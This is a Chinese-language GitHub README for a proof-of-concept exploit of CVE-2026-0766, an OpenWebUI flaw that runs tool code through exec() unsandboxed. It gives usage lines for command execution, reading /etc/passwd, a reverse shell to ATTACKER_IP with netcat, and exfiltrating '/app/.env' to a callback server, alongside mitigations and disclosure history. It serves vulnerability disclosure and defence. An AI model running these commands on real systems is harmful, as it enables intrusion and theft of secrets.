bitt0n/CVE-2026-0766
GitHub: bitt0n/CVE-2026-0766
针对 OpenWebUI 工具代码注入漏洞(CVE-2026-0766)的概念验证利用工具,通过 exec() 无沙箱执行实现 RCE。
Stars: 0 | Forks: 0
# CVE-2026-0766:OpenWebUI 远程代码执行
**教育安全研究仓库**
本仓库包含 **CVE-2026-0766** 的概念验证利用代码,这是由 **Zero Day Initiative (ZDI)** 发现并发布的 OpenWebUI 远程代码执行漏洞。
## ⚠️ 免责声明
**本仓库仅供授权安全测试和教育目的使用。**
- 使用此代码测试**您自己的系统**或您拥有**明确授权**测试的系统
- 将其用于**学习** LLM 平台安全漏洞
- ❌ **切勿**在未经明确许可的情况下对系统使用
- ❌ 未经授权访问计算机系统是**违法的**
作者不对本代码的滥用承担任何责任。用户需全权负责确保其活动符合所有适用法律法规。
## 📋 漏洞概览
| 属性 | 值 |
|----------|-------|
| **CVE ID** | CVE-2026-0766 |
| **发现者** | Zero Day Initiative (ZDI) |
| **受影响软件** | OpenWebUI |
| **漏洞类型** | 代码注入 (CWE-94) |
| **CVSS 评分** | 8.8 HIGH |
| **CVSS 向量** | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| **攻击复杂度** | 低(具有工具创建/更新权限的认证管理员或用户可以利用) |
### 什么是 OpenWebUI?
OpenWebUI 是一个自托管的大型语言模型 Web 接口。它提供类似 ChatGPT 的体验,组织可以在自己的基础设施上运行,将 LLM 对话和数据保留在本地。
### 漏洞详情
OpenWebUI 包含一个“Tools(工具)”功能,允许用户通过提交 Python 代码来扩展 LLM 能力。此代码通过 Python 的 `exec()` 函数在服务器端执行,**没有任何沙箱、验证或安全控制**。
**利用流程:**
1. 认证用户通过 `POST /api/v1/tools/create` 创建一个“Tool(工具)”
2. 用户提供的 Python 代码存储在 `content` 字段中
3. 服务器在 `utils/plugin.py` 中调用 `exec(content, module.__dict__)`
4. 任意 Python 代码以完整的服务器权限执行
5. 攻击者实现远程代码执行 (RCE)
**关键洞察:** 代码**在工具创建时**执行,而不是在 LLM 调用工具时。这意味着只需创建一个恶意工具即可触发 RCE——无需进一步交互。
### 测试版本
此漏洞利用已在以下版本验证:
- **OpenWebUI v0.8.10** - 易受攻击 ✅(测试于 2026-03-28)
该漏洞属于架构性问题(对用户输入不安全地使用 `exec()`),在 OpenWebUI 团队发布安全补丁之前,该漏洞存在于所有版本中。
## 🔍 技术细节
### 根本原因
该漏洞存在于 `backend/open_webui/utils/plugin.py` 中:
```
def load_tool_module_by_id(tool_id: str, content: str):
# Minimal preprocessing (NOT a security control)
content = replace_imports(content)
# Create module and execute user code
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← VULNERABILITY
return module
```
`replace_imports()` 函数仅重写导入路径(仅作修饰)——它**并不**限制可执行的代码。存在以下问题:
- ❌ 无沙箱(无受限执行环境)
- ❌ 无代码验证(无 AST 检查或白名单机制)
- ❌ 无权限检查(默认情况下所有认证用户均可创建工具)
- ❌ 无权限隔离(代码以 OpenWebUI 服务账号身份运行)
### 供应商回应
OpenWebUI 团队最初将此评估为低优先级,指出工具创建需要管理员权限。然而:
1. **权限委派很常见** —— 许多部署将工具创建权限授予高级用户、工作区管理员和开发者
2. **管理员账户被盗** —— 钓鱼、撞库和 SSO 凭据泄露可使攻击者获得管理员访问权限
3. **违反纵深防御** —— 即使是管理员操作也应受到约束;无限制的代码执行违反了最小权限原则
4. **入侵后利用价值** —— 此漏洞在初始访问后的攻击链中具有重要价值
在供应商提议管理员应通过受限访问进行管理后,**ZDI 已将其作为 0-day 漏洞发布**(ZDI-26-032),以告知防御者。
**作者尊重维护开源项目的挑战。** 安全补丁需要在用户需求、架构约束和有限资源之间取得平衡。本发布旨在帮助安全团队评估风险并实施缓解措施。
## 🛠️ 概念验证
### 安装
```
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
```
### 使用方法
漏洞利用脚本 (`exploit.py`) 支持多种攻击模式:
#### 1. 命令执行
执行操作系统命令并获取输出:
```
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
```
#### 2. 文件读取
从服务器文件系统读取文件:
```
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
```
#### 3. 反向 Shell
生成一个反向 Shell(需要 netcat 监听器):
```
# 在攻击机:
nc -lvnp 4444
# 运行 exploit:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
```
#### 4. 盲注外带
将命令输出发送到 HTTP 回调服务器:
```
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
```
### 认证
该脚本同时接受 **JWT token**(来自 SSO 登录)和 **API keys**:
**获取 JWT token:**
1. 正常登录 OpenWebUI(SSO 或本地认证)
2. 打开浏览器开发者工具 (F12)
3. 找到您的 token:
- **Cookies 标签页:** 查找 `token` cookie 值
- **Network(网络)标签页:** 从任意 API 请求中复制 `Authorization: Bearer ...` 头
- **Console(控制台):** 运行 `localStorage.getItem("token")`
4. 将 token 传递给脚本:`--token eyJhbGci...`
## 🔐 缓解措施
### 对于防御者
如果您运行 OpenWebUI 且无法立即打补丁:
1. **限制工具创建权限**,仅限高度受信的管理员
2. **审计现有工具**以查找恶意代码(检查数据库中的工具内容)
3. **以最小权限运行 OpenWebUI**(专用服务账号,尽可能使用只读文件系统)
4. **实施网络出口过滤**(容器不应具有任意的出站访问权限)
5. **监控可疑的工具创建**(留意正常工作流程之外创建的工具)
### 修复建议(针对维护者)
1. **用安全的替代方案替换 `exec()`:**
- 使用 `RestrictedPython` 进行沙箱执行
- 解析 Python AST 并根据安全操作白名单进行验证
- 在隔离的容器中执行工具代码(gVisor, Firecracker)
2. **添加权限检查:**
- 新工具需管理员审批
- 对工具创建实施基于角色的访问控制
- 在工具激活前添加代码审查工作流
3. **纵深防御:**
- 在具有系统调用过滤 (seccomp) 的独立进程中运行工具
- 将文件系统访问限制为只读
- 移除工具执行环境的网络访问权限
## 📚 参考资料
- **NVD 条目:** https://nvd.nist.gov/vuln/detail/CVE-2026-0766
- **ZDI 公告:** https://www.zerodayinitiative.com/advisories/ZDI-26-032/
- **GitHub 安全公告:** https://github.com/advisories/GHSA-cggw-334c-f4mj
- **CWE-94 (代码注入):** https://cwe.mitre.org/data/definitions/94.html
- **OWASP 代码注入:** https://owasp.org/www-community/attacks/Code_Injection
## 🙏 致谢
- **漏洞发现:** Zero Day Initiative (ZDI) - ZDI-26-032 / ZDI-CAN-28257
- **漏洞利用研究与 PoC 开发:** Pradeep Pillai ([@bitt0n](https://github.com/bitt0n))
## 📜 许可证
MIT 许可证 - 详情请参阅 [LICENSE](LICENSE) 文件。
本代码仅供教育和防御安全目的提供。作者不对滥用行为负责。
## 🤝 负责任披露
此漏洞已按负责任方式披露:
1. **ZDI 发现并向** OpenWebUI 报告了该漏洞
2. **提供了协调披露期**供供应商修补
3. **供应商拒绝修补**(评估为可接受风险)
4. **ZDI 作为 0-day 发布**以通知安全社区
5. **此 PoC 在披露后发布**以帮助防御者评估风险
如果您在开源项目中发现安全漏洞,请遵循负责任的披露做法,并在公开披露前给维护者留出修补时间。
**如有问题或反馈:** 请在本仓库中开启一个 issue。
标签:AI基础设施安全, CISA项目, CVE-2026-0766, CWE-94, OpenWebUI, PoC, RCE, ZDI, 大语言模型安全, 工具注入, 教育安全, 数据展示, 暴力破解, 机密管理, 漏洞复现, 红队, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护, 零日漏洞